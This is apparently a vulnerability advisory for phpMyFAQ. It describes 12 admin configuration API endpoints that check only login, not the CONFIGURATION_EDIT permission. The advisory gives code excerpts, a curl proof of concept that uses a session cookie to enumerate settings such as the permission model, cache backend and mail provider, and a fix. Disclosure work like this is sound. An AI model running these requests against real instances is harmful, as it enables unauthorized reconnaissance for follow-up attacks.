phpMyFAQ's Missing CONFIGURATION_EDIT Permission Check on 12 Admin API Configuration Tab Endpoints Allows Information Disclosure by Any Authenticated User

Summary

12 endpoints in ConfigurationTabController.php use userIsAuthenticated() (login-only check) instead of userHasPermission(PermissionType::CONFIGURATION_EDIT). This allows any authenticated user — including ones with zero admin permissions — to enumerate system configuration metadata including the permission model, active template, cache backend, mail provider, and translation provider.

Details

The ConfigurationTabController contains 15 public endpoints. Three of them (list, save, uploadTheme) correctly enforce CONFIGURATION_EDIT permission:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:63
public function list(Request $request): Response
{
    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); // ✅ Correct
    // ...
}

The remaining 12 only check that the user is logged in:

// phpmyfaq/src/phpMyFAQ/Controller/Administration/Api/ConfigurationTabController.php:353
public function translations(): Response
{
    $this->userIsAuthenticated(); // ❌ Missing permission check
    // ...
}

The difference between these two methods is significant:

// AbstractController.php:258 — login-only
protected function userIsAuthenticated(): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
}

// AbstractController.php:317 — login + permission check
protected function userHasPermission(PermissionType $permissionType): void
{
    if (!$this->currentUser->isLoggedIn()) {
        throw new UnauthorizedHttpException(challenge: 'User is not authenticated.');
    }
    $currentUser = $this->currentUser;
    if (!$currentUser?->perm->hasPermission($currentUser->getUserId(), $permissionType->value)) {
        throw new ForbiddenException(/* ... */);
    }
}

There is no middleware or router-level authorization — the Kernel (Kernel.php) dispatches directly to controllers with only Language, Router, and Exception listeners. All authorization is at the controller method level.

The 12 affected endpoints (all GET, all under /admin/api/):

The translations() and templates() endpoints directly read from config/filesystem and expose current settings. The {current} endpoints render HTML <option> dropdowns where the caller-supplied value gets the selected attribute — an attacker can enumerate possible values to discover the current configuration.

PoC

# Step 1: Authenticate as any user (even one with no admin permissions)
# and obtain the session cookie (pmf_auth_XXXX)

# Step 2: Query configuration endpoints that should require CONFIGURATION_EDIT permission

# Enumerate available languages and current language setting
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translations

# Enumerate available templates and which is active
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/templates

# Discover permission model by trying known values
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/perm-level/basic

# Discover release environment
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/release-environment/development

# Discover cache backend
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/cache-adapter/filesystem

# Discover mail provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/mail-provider/smtp

# Discover translation provider
curl -s -b 'pmf_auth_XXXX=<session>' \
  https://target.example/admin/api/configuration/translation-provider/deepl

Expected: HTTP 403 Forbidden for a user without configuration_edit permission. Actual: HTTP 200 with configuration data in HTML option format.

Impact

Any authenticated user (e.g., a regular FAQ contributor or a user with minimal permissions) can enumerate:

• The instance's permission model (basic vs. medium) — reveals access control architecture
• Whether the instance runs in development or production mode — development mode may expose debug info
• The cache backend (filesystem/redis/memcached) — useful for targeting cache-specific attacks
• The mail provider configuration — reveals infrastructure details
• Available and active templates/themes — aids in targeting template-specific vulnerabilities
• Translation provider (e.g., DeepL) — reveals third-party service integrations

While no credentials or secrets are directly exposed, this configuration metadata aids targeted follow-up attacks and violates the principle of least privilege — these endpoints exist to serve the admin configuration UI and should require the same CONFIGURATION_EDIT permission as the list and save endpoints.

Recommended Fix

Replace $this->userIsAuthenticated() with $this->userHasPermission(PermissionType::CONFIGURATION_EDIT) in all 12 affected methods:

// In ConfigurationTabController.php — apply to all 12 methods
// Before (line 355, and equivalent in all others):
$this->userIsAuthenticated();

// After:
$this->userHasPermission(PermissionType::CONFIGURATION_EDIT);

Affected methods: translations(), templates(), faqsSortingKey(), faqsSortingOrder(), faqsSortingPopular(), permLevel(), releaseEnvironment(), searchRelevance(), seoMetaTags(), translationProvider(), mailProvider(), cacheAdapter().